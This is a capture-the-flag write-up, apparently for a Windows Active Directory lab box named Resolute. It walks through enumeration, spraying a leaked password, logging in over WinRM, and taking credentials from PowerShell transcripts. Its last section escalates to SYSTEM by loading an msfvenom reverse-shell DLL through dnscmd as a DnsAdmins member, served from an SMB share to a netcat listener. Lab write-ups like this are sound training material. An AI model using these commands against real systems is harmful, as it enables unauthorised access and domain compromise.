Enumerations:

```
[Nmap]:
PORT     STATE SERVICE      VERSION
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2022-09-02 09:38:57Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: MEGABANK)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.54 seconds

[enum4linux]:
enum4linux -U <ip> = gives us list of enumerated users on AD:
        user:[Administrator] rid:[0x1f4]
        user:[Guest] rid:[0x1f5]
        user:[krbtgt] rid:[0x1f6]
        user:[DefaultAccount] rid:[0x1f7]
        user:[ryan] rid:[0x451]
        user:[marko] rid:[0x457]
        user:[sunita] rid:[0x19c9]
        user:[abigail] rid:[0x19ca]
        user:[marcus] rid:[0x19cb]
        user:[sally] rid:[0x19cc]
        user:[fred] rid:[0x19cd]
        user:[angela] rid:[0x19ce]
        user:[felicia] rid:[0x19cf]
        user:[gustavo] rid:[0x19d0]
        user:[ulf] rid:[0x19d1]
        user:[stevie] rid:[0x19d2]
        user:[claire] rid:[0x19d3]
        user:[paulo] rid:[0x19d4]
        user:[steve] rid:[0x19d5]
        user:[annette] rid:[0x19d6]
        user:[annika] rid:[0x19d7]
        user:[per] rid:[0x19d8]
        user:[claude] rid:[0x19d9]
        user:[melanie] rid:[0x2775]
        user:[zach] rid:[0x2776]
        user:[simon] rid:[0x2777]
        user:[naoki] rid:[0x2778]

[getnpu]:
Running [impacket-GetNPUsers] not give any results...

[smbmap]:
Running smbmap -H <ip>
Access denied...

[smbclient]:
smbclient -L //<ip>/
No shares are open...

[rpcclient]:
rpcclient -U "" -N <ip>
Gives us rpc connection so we can continue enumerating.
enumdomusers command gives us same results as enum4linux so we can know that
we are close. We can continue enumerating each user by RID (queryuser <rid>),
or we can get all user info by querydispinfo (1,2 or 3):
....SNIP....
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak
Desc: Account created. Password set to Welcome123!
....SNIP....
We know that <user> marko have set <password> 'Welcome123!',
so we can continue enumerating it with crackmapexec for smb conneciton.
It seems that this creds not set for marko so we can enumerate other users by
this password and user list.
```

```
After enumerate we found that <user> melanie has this connection on SMB.
And this creds also works on winrm.
```

Shell as melanie and user flag [evil-winrm] :

```
So we can enter winrm by [evil-winrm -i <ip> -u melanie -p 'Welcome123!']
command. After we can obtain user flag.
```

Privilege Escalation [horizontal, melanie > ryan] :

```
Going up to \ directory we can see that there is hidden folder named
"PSTranscripts". So inside of this folder there is some file
gci -recurse -force -file <folder>
"PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt"
Inside of it some PS commands and interesting of is
....SNIP....
"cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!"
....SNIP....
So we know that <user> ryan has <password> "Serv3r4Admin4cc123!"
```

Privilege Escalation [vertical, ryan > nt authority\system] :

```
Inside of the ryan Desktop we have file named <note.txt>
Email to team:
- due to change freeze, any system changes (apart from those to the
administrator account) will be automatically reverted within 1 minute
It means that we have only around 1 minute to make system changes or
abuses to take shell as root so we should manage time and be faster.

Firstly I check the groups in the system that ryan inside
whoami /groups
Nothing interesting but one group is actually may be abusive it's
DnsAdmins group set by default and Local group.
After searching and checking some writeups I found this open-source
web-page analogue for GTFOBINS but for Windows binaries and read some
info about dnscmd.exe.
https://lolbas-project.github.io/ here is the abuse for dnscmd.exe
which we can use as the DnsAdmins group.
so the payload is - dnscmd.exe /config /serverlevelplugindll \\path\to\dll
We need :
        1. Create .dll file with reverse_tcp connection (msfvenom)
        2. Start smb connective server (impacket-smbserver)
        3. Start netcat connection on port 443 (nc)
We do :
        1. msfvenom -p <r_TCP_path> LHOST=<ip> LPORT=443 -f dll -o rev.dll
        2. impacket-smbserver <name> .
        3. nc -nlvp 443
We need to exploit :
        1. Set plugin to rev.dll on the system share
        2. Stop the DNS
        3. Start the DNS
We do for exploit :
        1. dnscmd.exe /config /serverlevelplugindll \\<ip>\<name>\rev.dll
        2. sc.exe \\resolute stop dns
        3. sc.exe \\resolute start dns
After exploiting we will recieve connection to our SMB server.
Then the shell on our netcat connection.
So we get our nt authority\system (root)
```